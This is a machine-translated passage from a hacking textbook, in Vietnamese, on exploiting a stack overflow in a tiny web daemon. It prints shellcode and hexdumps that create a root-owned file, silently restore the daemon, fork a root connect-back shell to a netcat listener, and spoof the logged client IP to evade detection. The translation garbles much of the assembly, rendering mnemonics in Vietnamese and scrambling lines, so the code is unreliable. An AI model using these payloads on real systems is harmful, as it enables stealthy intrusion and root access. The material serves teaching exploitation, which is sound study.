nhị phân note-taker.
người đọc@hacking:~/booksrc $ gdb -q ./notetaker
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) thiết lập dis intel
(gdb) giải tán chính
Bản sao mã trình biên dịch cho hàm main:
0x0804875f <main+0>: đẩy ebp
0x08048760 <main+1>: ebp,esp
di chuyển
0x08048762 <main+3>: esp,0x28phụ
và
0x08048765 <main+6>: esp,0xfffffff0
0x08048768 <main+9>: eax,0x0 mov
0x0804876d <main+14>: sub DWORD PTR [esp],0x64
đặc biệt là eax
0x0804876f <main+16>: mov
0x08048776 <main+23>: gọi 0x8048601 <ec_malloc>
0x0804877b <main+28>: mov DWORD PTR [ebp-12],eax
0x0804877e <main+31>: mov DWORD PTR [esp],0x14
0x08048785 <main+38>: gọi 0x8048601 <ec_malloc>
0x0804878a <main+43>: mov DWORD PTR [ebp-16],eax
0x0804878d <main+46>: mov DWORD PTR [esp+4],0x8048a9f
0x08048795 <main+54>: mov eax, DWORD PTR [ebp-16]
0x08048798 <main+57>: mov
DWORD PTR [esp],eax
0x0804879b <main+60>: gọi 0x8048480 <strcpy@plt>
0x080487a0 <main+65>: cmp
DWORD PTR [ebp+8],0x1
0x080487a4 <main+69>: jg 0x80487ba <main+91>
0x080487a6 <main+71>: mov
eax,DWORD PTR [ebp-16]
0x080487a9 <main+74>: mov DWORD PTR [esp+4],eax
0x080487ad <main+78>: mov eax, DWORD PTR [ebp+12]
0x080487b0 <main+81>: mov eax, DWORD PTR [eax]
0x080487b2 <main+83>: mov
DWORD PTR [esp],eax
0x080487b5 <main+86>: gọi 0x8048733 <cách sử dụng>
0x080487ba <main+91>: mov eax, DWORD PTR [ebp+12]
0x080487bd <main+94>: thêm eax,0x4
0x080487c0 <main+97>: mov
eax,DWORD PTR [eax]
0x080487c2 <main+99>: mov DWORD PTR [esp+4],eax
0x080487c6 <main+103>: mov
eax,DWORD PTR [ebp-12]
0x080487c9 <main+106>: mov DWORD PTR [esp],eax
0x080487cc <main+109>: gọi 0x8048480 <strcpy@plt>
0x080487d1 <main+114>: mov eax, DWORD PTR [ebp-12]
0x080487d4 <main+117>: mov DWORD PTR [esp+8],eax
0x080487d8 <main+121>: mov eax, DWORD PTR [ebp-12]
0x080487db <main+124>: mov
DWORD PTR [esp+4],eax
0x080487df <main+128>: mov DWORD PTR [esp],0x8048aaa
0x080487e6 <main+135>: gọi 0x8048490 <printf@plt>
0x080487eb <main+140>: mov eax, DWORD PTR [ebp-16]
338 0x600
Machine Translated by Google
0x080487ee <main+143>: mov
DWORD PTR [esp+8],eax
0x080487f2 <main+147>: mov
eax,DWORD PTR [ebp-16]
0x080487f5 <main+150>: mov
DWORD PTR [esp+4],eax
0x080487f9 <main+154>: mov
DWORD PTR [esp],0x8048ac7
0x08048800 <main+161>: gọi 0x8048490 <printf@plt>
0x08048805 <main+166>: mov
DWORD PTR [esp+8],0x180
0x0804880d <main+174>: mov
DWORD PTR [esp+4],0x441
0x08048815 <main+182>: mov
eax,DWORD PTR [ebp-16]
0x08048818 <main+185>: mov
DWORD PTR [esp],eax
0x0804881b <main+188>: gọi 0x8048410 <open@plt>
---Gõ <return> để tiếp tục hoặc q <return> để thoát---q
Từ bỏ
(gdb)
Hãy nhớ rằng các đối số cho một lệnh gọi hàm sẽ được đẩy tới
stack ngược lại. Trong trường hợp này, trình biên dịch quyết định sử dụng mov DWORD
PTR [esp+offset], value_to_push_to_stack thay vì lệnh push , nhưng cấu trúc được
xây dựng trên stack thì tương đương. Đối số đầu tiên là con trỏ đến tên tệp trong EAX,
đối số thứ hai (đặt tại [esp+4]) là 0x441 và đối số thứ ba (đặt tại [esp+8]) là 0x180.
Điều này có nghĩa là O_WRONLY|
O_CREAT|O_APPEND hóa ra là 0x441 và S_IRUSR|S_IWUSR là 0x180. Mã lệnh sau sử dụng
các giá trị này để tạo một tệp có tên là Hacked trong hệ thống tệp gốc.
dấu.s
BITS 32;
Đánh dấu hệ thống tập tin để chứng minh bạn đã chạy. jmp ngắn
một hai:
pop ebx
; Tên tập tin
xor ecx, ecx mov
BYTE [ebx+7], cl ; Null cease filename ; Open() push BYTE 0x5 pop eax
cx, 0x441 ; O_WRONLY|
mov WORD
O_APPEND|
O_CREAT xor edx, edx mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR ; Mở tệp để tạo
tệp. int 0x80 ;
eax = mô tả tệp được trả về mov ebx, eax push BYTE 0x6 pop
eax int 0x80 ; Đóng tệp.
; Mô tả tập tin cho đối số thứ hai
; Đóng ()
xor eax, eax
mov ebx, eax
inc eax
; Thoát khỏi
lệnh gọi. int 0x80 ; Exit(0), để tránh vòng lặp vô hạn.
một:
gọi hai
db "/HackedX"
; 01234567
Biện pháp đối phó 339
Machine Translated by Google
Shellcode mở một tệp để tạo tệp đó và sau đó đóng tệp ngay lập tức. Cuối
cùng, nó gọi exit để tránh vòng lặp vô hạn. Đầu ra bên dưới cho thấy shellcode
mới này đang được sử dụng với công cụ khai thác.
reader@hacking:~/booksrc $ ./tinywebd Khởi động trình
nền web nhỏ. reader@hacking:~/booksrc
$ nasm mark.s reader@hacking:~/booksrc $ hexdump -C mark
00000000 eb 23 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31
|.#[1.KjXf.A.1| 00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 31 c0 |.f....jX1.| 00000020 89 c3 40 cd 80 e8
d8 ff ff ff 2f 48 61 63 6b 65 |.@..../Hacke| 00000030 64 58 00000032
|x|
reader@hacking:~/booksrc $ ls -l /Hacked ls: /
Hacked: Không có tệp hoặc thư mục nào như
vậy reader@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh mark 127.0.0.1
IP mục tiêu: 127.0.0.1
shellcode: mark (44 byte)
yêu cầu giả mạo: "GET / HTTP/1.1\x00" (15 byte)
[Yêu cầu giả (15 b)] [NOP (357 b)] [shellcode (44 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) mở
reader@hacking:~/booksrc $ ls -l /Hacked
-rw------- 1 root reader 0 2007-09-17 16:59 /Hacked
người đọc@hacking:~/booksrc $
0x652 Lắp ráp lại mọi thứ một lần nữa
Để đưa mọi thứ trở lại với nhau, chúng ta chỉ cần sửa chữa bất kỳ thiệt hại
phụ nào do ghi đè và/hoặc shellcode gây ra, sau đó nhảy thực thi trở lại vòng
lặp chấp nhận kết nối trong main(). Việc phân tách main() trong đầu ra bên
dưới cho thấy rằng chúng ta có thể an toàn quay lại các địa chỉ 0x08048f64,
0x08048f65 hoặc 0x08048fb7 để quay lại vòng lặp chấp nhận kết nối.
reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ gdb -q ./a.out Sử
dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)
disass main Đổ mã
trình biên dịch cho hàm main:
0x08048d93 <main+0>: đẩy ebp
0x08048d94 <main+1>: ebp,esp
di chuyển
phụ
0x08048d96 <main+3>: esp,0x68
và
0x08048d99 <main+6>: esp,0xfffffff0
0x08048d9c <main+9>: eax,0x0
di chuyển
0x08048da1 <main+14>: phụ
đặc biệt là eax
.:[ đầu ra đã được cắt bớt ]:.
0x08048f4b <main+440>: mov
DWORD PTR [esp],eax
0x08048f4e <main+443>: gọi 0x8048860 <listen@plt>
0x08048f53 <main+448>: cmp
eax,0xffffffff
0x08048f56 <main+451>: jne
0x8048f64 <chính+465>
0x08048f58 <main+453>: mov
DWORD PTR [esp],0x804961a
340 0x600
Machine Translated by Google
0x08048f5f <main+460>: gọi 0x8048ac4 <chết người>
0x08048f64 <main+465>: nop
0x08048f65 <main+466>: mov DWORD PTR [ebp-60],0x10
0x08048f6c <main+473>: lea
eax,[ebp-60]
0x08048f6f <main+476>: mov DWORD PTR [esp+8],eax
0x08048f73 <main+480>: lea eax,[ebp-56]
0x08048f76 <main+483>: mov DWORD PTR [esp+4],eax
0x08048f7a <main+487>: mov eax,ds:0x804a970
0x08048f7f <main+492>: mov DWORD PTR [esp],eax
0x08048f82 <main+495>: gọi 0x80488d0 <accept@plt>
0x08048f87 <main+500>: mov DWORD PTR [ebp-12],eax
0x08048f8a <main+503>: cmp
DWORD PTR [ebp-12],0xffffffff
0x08048f8e <main+507>: jne 0x8048f9c <main+521>
0x08048f90 <main+509>: mov DWORD PTR [esp],0x804962e
0x08048f97 <main+516>: gọi 0x8048ac4 <chết người>
0x08048f9c <main+521>: mov eax,ds:0x804a96c
0x08048fa1 <main+526>: mov DWORD PTR [esp+8],eax
0x08048fa5 <main+530>: lea eax,[ebp-56]
0x08048fa8 <main+533>: mov DWORD PTR [esp+4],eax
0x08048fac <main+537>: mov
eax,DWORD PTR [ebp-12]
0x08048faf <main+540>: mov DWORD PTR [esp],eax
0x08048fb2 <main+543>: gọi 0x8048fb9 <handle_connection>
0x08048fb7 <chính+548>: jmp 0x8048f65 <chính+466>
Kết thúc quá trình dump của trình biên dịch.
(gdb)
Cả ba địa chỉ này về cơ bản đều dẫn đến cùng một nơi. Hãy sử dụng 0x08048fb7 vì đây là
địa chỉ trả về ban đầu được sử dụng cho lệnh gọi handle_connection(). Tuy nhiên, có những thứ
khác mà chúng ta cần sửa trước.
Hãy xem phần mở đầu và phần kết của hàm handle_connection(). Đây là các hướng dẫn thiết lập và xóa
các cấu trúc khung ngăn xếp trên ngăn xếp.
(gdb) vô hiệu hóa handle_connection
Bản sao mã trình biên dịch cho hàm handle_connection:
0x08048fb9 <handle_connection+0>: đẩy ebp
0x08048fba <handle_connection+1>: mov ebp,esp
0x08048fbc <handle_connection+3>: đẩy ebx
0x08048fbd <handle_connection+4>: sub esp,0x644
0x08048fc3 <handle_connection+10>: lea eax,[ebp-0x218]
0x08048fc9 <xử lý kết nối+16>:
di chuyển
DWORD PTR [esp+4],eax
di chuyển
0x08048fcd <handle_connection+20>: eax, DWORD PTR [ebp+8]
0x08048fd0 <xử lý kết nối+23>:
di chuyển
DWORD PTR [esp],eax
0x08048fd3 <handle_connection+26>: gọi 0x8048cb0 <recv_line>
0x08048fd8 <xử lý kết nối+31>:
di chuyển
DWORD PTR [ebp-0x620],eax
di chuyển
0x08048fde <handle_connection+37>: eax, DWORD PTR [ebp+12]
0x08048fe1 <handle_connection+40>: movzx eax, WORD PTR [eax+2]
0x08048fe5 <xử lý kết nối+44>:
di chuyển
DWORD PTR [esp],eax
0x08048fe8 <handle_connection+47>: gọi 0x80488f0 <ntohs@plt>
.:[ đầu ra đã được cắt bớt ]:.
0x08049302 <xử lý kết nối+841>:
gọi 0x8048850 <write@plt>
Biện pháp đối phó 341
Machine Translated by Google
0x08049307 <handle_connection+846>: 0x0804930f
di chuyển
DWORD PTR [esp+4],0x2
<handle_connection+854>: 0x08049312
di chuyển
eax,DWORD PTR [ebp+8]
<handle_connection+857>: 0x08049315
di chuyển
DWORD PTR [esp],eax
<handle_connection+860>: 0x0804931a
gọi 0x8048800 <shutdown@plt>
<handle_connection+865>: 0x08049320
thêm esp,0x644
<handle_connection+871>: 0x08049321
pop
ebx
<handle_connection+872>: 0x08049322
pop
ebp
<handle_connection+873>: Kết thúc quá trình
ret
dump trình biên dịch.
(gdb)
Khi bắt đầu hàm, phần mở đầu hàm lưu các giá trị hiện tại của các thanh ghi EBP và
EBX bằng cách đẩy chúng vào ngăn xếp và đặt EBP thành giá trị hiện tại của ESP để có
thể sử dụng làm điểm tham chiếu để truy cập các biến ngăn xếp. Cuối cùng, 0x644 byte
được lưu trên ngăn xếp cho các biến ngăn xếp này bằng cách trừ đi ESP. Phần kết của
hàm ở cuối khôi phục ESP bằng cách thêm 0x644 trở lại ESP và khôi phục các giá trị đã
lưu của EBX và EBP bằng cách đưa chúng trở lại ngăn xếp vào các thanh ghi.
Các lệnh ghi đè thực sự nằm trong hàm recv_line() ; tuy nhiên, chúng ghi vào
dữ liệu trong khung ngăn xếp handle_connection() , do đó, bản thân lệnh ghi đè xảy ra
trong handle_connection(). Địa chỉ trả về mà chúng ta ghi đè được đẩy vào ngăn xếp
khi handle_connection() được gọi, do đó, các giá trị đã lưu cho EBP và EBX được đẩy
vào ngăn xếp trong phần mở đầu hàm sẽ nằm giữa địa chỉ trả về và bộ đệm có thể bị hỏng.
Điều này có nghĩa là EBP và EBX sẽ bị hỏng khi phần kết của hàm thực thi.
Vì chúng ta không kiểm soát được việc thực thi chương trình cho đến khi có lệnh
return, nên tất cả các lệnh giữa lệnh overwrite và lệnh return phải được thực thi.
Trước tiên, chúng ta cần đánh giá xem các lệnh bổ sung này gây ra bao nhiêu thiệt hại
phụ sau khi ghi đè. Lệnh assembly int3 tạo ra byte 0xcc, về cơ bản là điểm dừng gỡ
lỗi.
Shellcode bên dưới sử dụng lệnh int3 thay vì thoát. Điểm dừng này sẽ được GDB bắt,
cho phép chúng ta kiểm tra trạng thái chính xác của chương trình sau khi shellcode
thực thi.
đánh dấu_phá_phá.
BITS 32;
Đánh dấu hệ thống tập tin để chứng minh bạn đã chạy. jmp
short một hai: pop
ebx
xor ecx,
; Tên tập tin
ecx mov BYTE
[ebx+7], cl; Null kết thúc tên tập tin push BYTE 0x5; Open() pop eax
mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT xor edx, edx mov WORD dx,
0x180 ; S_IRUSR|
S_IWUSR int 0x80 ; Mở tệp để tạo tệp. ; eax = mô tả tệp
được trả về mov ebx, eax
; Mô tả tập tin cho đối số thứ hai
342 0x600
Machine Translated by Google
đẩy BYTE 0x6 pop
; Đóng ()
eax int
0x80 ; Đóng tệp.
int3 ; ngắt
một:
gọi hai
cơ sở dữ liệu "/HackedX"
Để sử dụng shellcode này, trước tiên hãy thiết lập GDB để gỡ lỗi daemon tinyweb.
Trong đầu ra bên dưới, một điểm dừng được thiết lập ngay trước khi handle_connection() được gọi. Mục
tiêu là khôi phục các thanh ghi bị hỏng về trạng thái ban đầu được tìm thấy tại điểm dừng này.
người đọc@hacking:~/booksrc $ ./tinywebd
Bắt đầu một daemon web nhỏ.
reader@hacking:~/booksrc $ ps aux | grep tinywebd
gốc 23497 0.0 0.0 1636 356 ? người đọc 23506 0.0 0.0 2880 748
Ss 17:08 0:00 ./tinywebd
điểm/1 người đọc@hacking:~/booksrc $ gcc -g tinywebd.c người
R+ 17:09 0:00 grep tinywebd
đọc@hacking:~/booksrc $ sudo gdb -q -pid=23497 --symbols=./a.out
cảnh báo: không sử dụng tệp không đáng tin cậy "/home/reader/.gdbinit"
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
Đính kèm vào tiến trình 23497
/cow/home/reader/booksrc/tinywebd: Không có tệp hoặc thư mục nào như vậy.
Một chương trình đang được gỡ lỗi. Giết nó? (y hoặc n) n
Chương trình không bị tắt.
(gdb) thiết lập dis
intel (gdb) x/5i main+533
0x8048fa8 <main+533>: mov DWORD PTR [esp+4],eax
0x8048fac <main+537>: mov eax, DWORD PTR [ebp-12]
0x8048faf <main+540>: mov DWORD PTR [esp],eax
0x8048fb2 <main+543>: gọi 0x8048fb9 <handle_connection>
0x8048fb7 <chính+548>: jmp 0x8048f65 <chính+466>
(gdb) ngắt *0x8048fb2
Điểm dừng 1 tại 0x8048fb2: tệp tinywebd.c, dòng 72.
(gdb) tiếp theo
Tiếp tục.
Trong đầu ra ở trên, một điểm dừng được thiết lập ngay trước khi handle_connection() được gọi (hiển
thị bằng chữ in đậm). Sau đó, trong một cửa sổ terminal khác, công cụ khai thác được sử dụng để ném
shellcode mới vào đó. Điều này sẽ đưa quá trình thực thi đến điểm dừng trong terminal khác.
người đọc@hacking:~/booksrc $ nasm mark_break.s người
đọc@hacking:~/booksrc $ ./xtool_tinywebd.sh mark_break 127.0.0.1
IP mục tiêu: 127.0.0.1
shellcode: mark_break (44 byte)
[NOP (372 byte)] [shellcode (44 byte)] [ret addr (128 byte)]
localhost [127.0.0.1] 80 (www) mở
người đọc@hacking:~/booksrc $
Biện pháp đối phó 343
Machine Translated by Google
Quay trở lại thiết bị đầu cuối gỡ lỗi, điểm dừng đầu tiên sẽ xuất hiện.
Một số thanh ghi ngăn xếp quan trọng được hiển thị, hiển thị thiết lập ngăn xếp
trước (và sau) lệnh gọi handle_connection() . Sau đó, quá trình thực thi tiếp tục
đến lệnh int3 trong shellcode, hoạt động như một điểm dừng. Sau đó, các thanh ghi
ngăn xếp này được kiểm tra lại để xem trạng thái của chúng tại thời điểm shellcode
bắt đầu thực thi.
Điểm dừng 1, 0x08048fb2 trong main () tại tinywebd.c:72
xử lý_kết nối(new_sockfd, &client_addr, logfd); 72 (gdb) ir esp ebx ebp
đặc
0xbffff7e0
0xbffff7e0
biệt là ebx 0xb7fd5ff4 0xbffff848
-1208131596
ebp
0xbffff848
(gdb) tiếp theo
Tiếp tục.
Chương trình nhận được tín hiệu SIGTRAP, Trace/breakpoint trap.
0xbffff753 trong ?? ()
(gdb) ir esp ebx ebp
biệt
0xbffff7e0
0xbffff7e0 đặc
là ebx 0x6 6
0xbffff624
ebp 0xbffff624 (gdb)
Đầu ra này cho thấy EBX và EBP đã thay đổi tại thời điểm mã shell bắt đầu
thực thi. Tuy nhiên, khi kiểm tra các lệnh trong quá trình phân tách main(), bạn sẽ
thấy EBX thực sự không được sử dụng. Trình biên dịch có thể đã lưu thanh ghi này
vào ngăn xếp do một số quy tắc về quy ước gọi, mặc dù nó không thực sự được sử
dụng. Tuy nhiên, EBP được sử dụng rất nhiều vì đây là điểm tham chiếu cho tất cả
các biến ngăn xếp cục bộ. Vì giá trị lưu ban đầu của EBP đã bị ghi đè bởi khai
thác của chúng tôi, nên giá trị ban đầu phải được tạo lại.
Khi EBP được khôi phục về giá trị ban đầu, shellcode sẽ có thể thực hiện công việc bẩn thỉu của nó
và sau đó quay trở lại main() như bình thường. Vì máy tính là xác định, hướng dẫn lắp ráp sẽ giải
thích rõ ràng cách thực hiện tất cả những điều này.
(gdb) thiết lập dis intel
(gdb) x/5i chính
0x8048d93 <chính>:
đẩy ebp
0x8048d94 <chính+1>:
mov
ebp, đặc biệt
0x8048d96 <chính+3>:
sub
đặc biệt, 0x68
0x8048d99 <chính+6>:
và
đặc biệt,0xfffffff0
0x8048d9c <chính+9>:
di chuyển
eax,0x0
(gdb) x/5i chính+533
0x8048fa8 <chính+533>: mov
DWORD PTR [esp+4],eax
0x8048fac <main+537>: mov eax, DWORD PTR [ebp-12]
0x8048faf <main+540>: mov 0x8048fb2
DWORD PTR [esp],eax
<main+543>: gọi 0x8048fb9 <handle_connection>
0x8048fb7 <chính+548>: jmp 0x8048f65 <chính+466>
(gdb)
344 0x600
Machine Translated by Google
Nhìn lướt qua phần mở đầu hàm main() cho thấy EBP phải lớn hơn ESP 0x68 byte.
Vì ESP không bị lỗi khai thác của chúng ta làm hỏng, chúng ta có thể khôi phục giá
trị cho EBP bằng cách thêm 0x68 vào ESP ở cuối mã shell. Với EBP được khôi phục về
giá trị thích hợp, chương trình thực thi có thể được trả về vòng lặp chấp nhận kết
nối một cách an toàn. Địa chỉ trả về thích hợp cho lệnh gọi handle_connection() là
lệnh được tìm thấy sau lệnh gọi tại 0x08048fb7. Mã shell sau sử dụng kỹ thuật này.
đánh dấu_khôi phục.s
BITS 32;
Đánh dấu hệ thống tập tin để chứng minh bạn đã chạy. jmp
short một hai: pop
ebx
xor ecx,
; Tên tập tin
ecx mov BYTE
[ebx+7], cl; Null kết thúc tên tập tin; Open() push BYTE 0x5 pop eax
mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT xor edx, edx mov WORD dx,
0x180 ; S_IRUSR|
S_IWUSR int 0x80 ; Mở tệp để tạo tệp. ; eax = mô tả tệp
được trả về mov ebx, eax push BYTE 0x6 pop eax int 0x80 ; đóng tệp
; Mô tả tập tin cho đối số thứ hai
; Đóng ()
lea ebp, [esp+0x68] ; Khôi phục EBP. đẩy 0x08048fb7 ;
Trả về địa chỉ. ret ; Trả về
một:
gọi hai
db "/HackedX"
Khi được lắp ráp và sử dụng trong một khai thác, shellcode này sẽ khôi phục
Quá trình thực thi của daemon tinyweb sau khi đánh dấu hệ thống tập tin. Daemon
tinyweb thậm chí còn không biết rằng có điều gì đó đã xảy ra.
reader@hacking:~/booksrc $ nasm mark_restore.s
reader@hacking:~/booksrc $ hexdump -C mark_restore
00000000 eb 26 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.&[1.KjXf.A.1|
00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 8d 6c |.f....jX.l|
00000020 24 68 68 b7 8f 04 08 c3 e8 d5 ff ff ff 2f 48 61 |$hh...../Ha|
00000030 63 6b 65 64 58
|ckedX|
00000035
reader@hacking:~/booksrc $ sudo rm /Đã hack
reader@hacking:~/booksrc $ ./tinywebd
Bắt đầu một daemon web nhỏ.
người đọc@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh mark_restore 127.0.0.1
IP mục tiêu: 127.0.0.1
Biện pháp đối phó 345
Machine Translated by Google
shellcode: mark_restore (53 byte)
yêu cầu giả mạo: "GET / HTTP/1.1\x00" (15 byte)
[Yêu cầu giả (15 b)] [NOP (348 b)] [shellcode (53 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) mở
reader@hacking:~/booksrc $ ls -l /Hacked
-rw------- 1 root reader 0 2007-09-19 20:37 /Hacked
reader@hacking:~/booksrc $ ps aux | grep tinywebd
gốc 26787 0.0 0.0 1636 420 ? người đọc 26828 0.0 0.0 2880 748
Ss 20:37 0:00 ./tinywebd
điểm/1 người đọc@hacking:~/booksrc $ ./webserver_id 127.0.0.1
R+ 20:38 0:00 grep tinywebd
Máy chủ web cho 127.0.0.1 là Tiny webserver
người đọc@hacking:~/booksrc $
0x653 Lao động trẻ em
Bây giờ phần khó đã được tìm ra, chúng ta có thể sử dụng kỹ thuật này để âm thầm tạo ra một
shell gốc. Vì shell tương tác, nhưng chúng ta vẫn muốn tiến trình xử lý các yêu cầu web,
chúng ta cần fork đến một tiến trình con. Lệnh gọi fork() tạo một tiến trình con là bản
sao chính xác của tiến trình cha, ngoại trừ việc nó trả về 0 trong tiến trình con và ID tiến
trình mới trong tiến trình cha. Chúng ta muốn shellcode của mình fork và tiến trình con phục
vụ shell gốc, trong khi tiến trình cha khôi phục thực thi của tinywebd. Trong shellcode
bên dưới, một số lệnh được thêm vào đầu loopback_shell.s. Đầu tiên, fork syscall được thực
hiện và giá trị trả về được đưa vào thanh ghi EAX. Một vài lệnh tiếp theo sẽ kiểm tra xem
EAX có bằng không không. Nếu EAX bằng không, chúng ta sẽ nhảy đến child_process
để tạo shell. Nếu không, chúng ta đang ở trong tiến trình cha, do đó shellcode
khôi phục việc thực thi vào tinywebd.
vòng lặp_vỏ_phục_phục.s
BIT 32
đẩy BYTE 0x02 pop
; Fork là syscall #2
eax int
0x80
; Sau khi phân nhánh, trong tiến trình con eax == 0.
kiểm tra eax,
eax jz child_process ; Trong tiến trình con, một shell sẽ được sinh ra.
; Trong tiến trình cha, khôi phục tinywebd. lea ebp, [esp+0x68] ;
Khôi phục EBP. push 0x08048fb7 ; Trả về địa chỉ.
ret ; Trả về
child_process: ;
s = socket(2, 1, 0) đẩy
BYTE 0x66
; Socketcall là syscall #102 (0x66) pop
eax
346 0x600
cdq
; Xóa edx để sử dụng làm DWORD null sau này. ; ebx
xor ebx, ebx
inc ebx
là kiểu socketcall.
; 1 = SYS_SOCKET = ổ cắm()
Machine Translated by Google
đẩy edx
; Xây dựng mảng arg: { protocol = 0,
(ngược lại)
đẩy BYTE 0x1
SOCK_STREAM = 1, ;
đẩy BYTE 0x2
AF_INET = 2 } ; ; ecx = ptr tới mảng đối số ; Sau
mov ecx, esp
int 0x80
syscall, eax có mô tả tệp socket.
.: [ Đầu ra đã được cắt bớt; phần còn lại giống như loopback_shell.s. ] :.
Danh sách sau đây cho thấy shellcode này đang được sử dụng. Nhiều công việc được sử dụng thay vì
nhiều thiết bị đầu cuối, do đó, trình lắng nghe netcat được gửi đến nền bằng cách kết thúc lệnh bằng
dấu thăng (&). Sau khi shell kết nối lại, lệnh fg đưa trình lắng nghe trở lại nền trước. Sau đó, quá
trình này bị tạm dừng bằng cách nhấn CTRL-Z, lệnh này sẽ quay lại shell BASH. Bạn có thể dễ dàng sử
dụng nhiều thiết bị đầu cuối hơn khi bạn đang theo dõi, nhưng việc kiểm soát công việc rất hữu ích khi
bạn không có nhiều thiết bị đầu cuối.
reader@hacking:~/booksrc $ nasm loopback_shell_restore.s
reader@hacking:~/booksrc $ hexdump -C loopback_shell_restore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |jX.tl$hh.|
00000010 04 08 c3 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 |..jfX.1.CRj.j.|
00000020 e1 cd 80 96 6a 66 58 43 68 7f bb bb 01 66 89 54 |..jfXCh..fT|
00000030 24 01 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 |$.fhzifS.j.QV.|
00000040 43 cd 80 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 |C...I.?.Iy.|
00000050 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 |.Rh//suỵt/thùng.R.|
00000060 e2 53 89 e1 cd 80
|.S..|
00000066
người đọc@hacking:~/booksrc $ ./tinywebd
Bắt đầu một daemon web nhỏ.
người đọc@hacking:~/booksrc $ nc -l -p 31337 &
[1] 27279
người đọc@hacking:~/booksrc $ ./xtool_tinywebd_steath.sh loopback_shell_restore 127.0.0.1
IP mục tiêu: 127.0.0.1
shellcode: loopback_shell_restore (102 byte)
yêu cầu giả mạo: "GET / HTTP/1.1\x00" (15 byte)
[Yêu cầu giả (15 b)] [NOP (299 b)] [shellcode (102 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) mở
người đọc@hacking:~/booksrc $ fg
nc-l-p 31337
ai đó
gốc rễ
[1]+ Đã dừng nc -l -p 31337
reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1 Máy
chủ web cho 127.0.0.1 là Tiny webserver
reader@hacking:~/booksrc $ fg
nc-l-p 31337
ai đó
gốc rễ
Với shellcode này, shell gốc kết nối lại được duy trì bởi một tiến trình con riêng biệt,
trong khi tiến trình cha tiếp tục phục vụ web
nội dung.
Biện pháp đối phó 347
Machine Translated by Google
0x660 Ngụy trang nâng cao
Khai thác ẩn hiện tại của chúng tôi chỉ ngụy trang yêu cầu web; tuy nhiên, địa
chỉ IP và dấu thời gian vẫn được ghi vào tệp nhật ký. Loại ngụy trang này sẽ
khiến các cuộc tấn công khó bị phát hiện hơn, nhưng chúng không vô hình. Việc
ghi địa chỉ IP của bạn vào nhật ký có thể được lưu giữ trong nhiều năm có thể
dẫn đến rắc rối trong tương lai. Vì chúng tôi đang loay hoay với bên trong
daemon tinyweb ngay bây giờ, chúng tôi sẽ có thể ẩn sự hiện diện của mình tốt hơn nữa.
0x661 Giả mạo địa chỉ IP đã đăng nhập
Địa chỉ IP được ghi vào tệp nhật ký đến từ client_addr_ptr, được truyền tới
handle_connection().
Đoạn mã từ tinywebd.c
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, yêu cầu[500], tài nguyên[500], bộ đệm nhật ký[500]; int
fd, độ dài;
chiều dài = recv_line(sockfd, yêu cầu);
sprintf(log_buffer, "Từ %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr),
ntohs(client_addr_ptr->sin_port), yêu cầu);
Để giả mạo địa chỉ IP, chúng ta chỉ cần chèn sockaddr_in của riêng mình
structure và ghi đè client_addr_ptr bằng địa chỉ của cấu trúc được inject.
Cách tốt nhất để tạo cấu trúc sockaddr_in để inject là viết một chương trình
C nhỏ tạo và dump cấu trúc. Mã nguồn sau đây xây dựng struct bằng các đối số
dòng lệnh và sau đó ghi dữ liệu struct trực tiếp vào mô tả tệp 1, là đầu ra
chuẩn.
addr_struct.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h> #include
<netinet/in.h> int main(int
argc, char *argv[]) { struct sockaddr_in địa
chỉ; nếu(argc != 3) {
printf("Cách sử dụng: %s <IP mục tiêu> <cổng mục tiêu>\n", argv[0]);
exit(0);
} addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[2]));
addr.sin_addr.s_addr = inet_addr(argv[1]);
ghi(1, &addr, sizeof(struct sockaddr_in));
}
348 0x600
Machine Translated by Google
Chương trình này có thể được sử dụng để inject cấu trúc sockaddr_in . Đầu ra
bên dưới cho thấy chương trình đang được biên dịch và thực thi.
người đọc@hacking:~/booksrc $ gcc -o addr_struct addr_struct.c
người đọc@hacking:~/booksrc $ ./addr_struct 12.34.56.78 9090
##
"8N_reader@hacking:~/booksrc $
reader@hacking:~/booksrc $ ./addr_struct 12.34.56.78 9090 | hexdump -C
00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 f4 5f fd b7 |.#."8N..._.|
00000010
người đọc@hacking:~/booksrc $
Để tích hợp điều này vào khai thác của chúng tôi, cấu trúc địa chỉ được đưa
vào sau yêu cầu giả mạo nhưng trước NOP sled. Vì yêu cầu giả mạo dài 15 byte và
chúng tôi biết bộ đệm bắt đầu tại 0xbffff5c0, địa chỉ giả mạo sẽ được đưa vào
tại 0xbfffff5cf.
reader@hacking:~/booksrc $ grep 0x xtool_tinywebd_steath.sh
RETADDR="\x24\xf6\xff\xbf" # tại +100 byte từ bộ đệm @ 0xbffff5c0
người đọc@hacking:~/booksrc $ gdb -q -batch -ex "p /x 0xbffff5c0 + 15"
$1 = 0xbffff5cf
người đọc@hacking:~/booksrc $
